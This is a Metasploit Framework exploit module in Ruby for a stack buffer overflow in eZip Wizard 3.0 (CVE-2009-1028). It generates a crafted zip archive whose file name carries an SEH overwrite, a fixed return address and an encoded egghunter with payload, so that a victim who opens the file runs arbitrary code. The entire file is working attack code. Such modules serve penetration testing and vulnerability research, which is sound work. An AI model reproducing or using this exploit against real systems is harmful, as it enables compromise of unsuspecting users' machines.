##
# $Id: ezip_wizard_bof.rb 12428 2011-04-25 01:06:34Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'eZip Wizard 3.0 Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow vulnerability in
    version 3.0 of ediSys Corp.'s eZip Wizard.

    In order for the command to be executed, an attacker must convince someone to
    open a specially crafted zip file with eZip Wizard, and access the specially
    file via double-clicking it. By doing so, an attacker can execute arbitrary
    code as the victim user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'fl0 fl0w',  #Initial discovery, poc
     'jduck',     #Metasploit
     'Lincoln',   #Complete Metasploit port
    ],
   'Version'        => '$Revision: 12428 $',
   'References'     =>
    [
     [ 'CVE', '2009-1028' ],
     [ 'OSVDB', '52815' ],
     [ 'BID', '34044' ],
     [ 'URL', 'http://www.edisys.com/' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/8180' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/12059/' ],
    ],
         'Platform'          => [ 'win' ],
         'Payload'           =>
    {
     'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
    },
   'Targets'        =>
    [
     ['Windows Universal', { 'Offset' => 58, 'Ret' => 0x10020710 }],
    ],
   'DisclosureDate' => 'Mar 09 2009',
   'DefaultTarget'  => 0))

  register_options(
    [
    OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
    OptString.new('USERNAME', [ true, 'Username', ''])
   ], self.class)

 end

 def exploit

  #These badchars do not apply to the final payload
  badchars = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e"

  eggoptions =
  {
    :checksum => true,
    :eggtag => 'w00t'
  }

  hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

  [ 'x86/alpha_mixed'].each { |name|
          enc = framework.encoders.create(name)
    if name =~/alpha/
     enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
    end
   hunter = enc.encode(hunter, nil, nil, platform)
  }

  #Username length affects our offset to hit SEH correctly
  if datastore['USERNAME'].length >= 9
   padding = rand_text_alpha(target['Offset'] - 8)
  else
   padding = rand_text_alpha(target['Offset'] - datastore['USERNAME'].length)
  end

  fname  = padding
  fname << "\x61\x61\x7a\x04"      #nseh, align + conditional jmp
  fname << [target.ret].pack('V')  #seh
  fname << "\x61" * 29             #align for hunter
  fname << "\x58\x58\x41"          #align for hunter
  fname << hunter
  fname << egg

  zip = Rex::Zip::Archive.new
  xtra = [0xdac0ffee].pack('V')
  comment = [0xbadc0ded].pack('V')
  zip.add_file(fname, xtra, comment)

  # Create the file
  print_status("Creating '#{datastore['FILENAME']}' file...")

  file_create(zip.pack)
 end

end